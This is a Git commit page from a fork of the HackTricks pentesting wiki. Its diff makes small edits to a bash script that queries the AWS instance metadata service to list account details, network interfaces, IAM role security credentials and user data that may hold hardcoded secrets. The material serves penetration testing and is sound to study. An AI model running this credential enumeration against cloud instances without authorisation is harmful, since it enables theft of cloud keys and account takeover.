coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

GitBook: [#3197] No subject

Browse Source
This commit is contained in:
CPol 2022-05-11 10:13:29 +00:00 committed by gitbook-bot
parent c9ecf843bb
commit b4e04106c3
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
1 changed files with 5 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
View File

@ -48,11 +48,12 @@ printf "instance-type: "; $aws_req "$URL/instance-type"; echo ""
printf "region: "; $aws_req "$URL/placement/region"; echo ""
echo ""
print_3title "Account Info"
echo "Account Info"
$aws_req "$URL/identity-credentials/ec2/info"; echo ""
$aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
print_3title "Network Info"
echo "Network Info"
for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
@ -67,7 +68,7 @@ for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
done
echo ""
print_3title "IAM Role"
echo "IAM Role"
$aws_req "$URL/iam/info"
for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
@ -76,7 +77,7 @@ for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
done
echo ""
print_3title "User Data"
echo "User Data"
# Search hardcoded credentials
$aws_req "http://169.254.169.254/latest/user-data"
```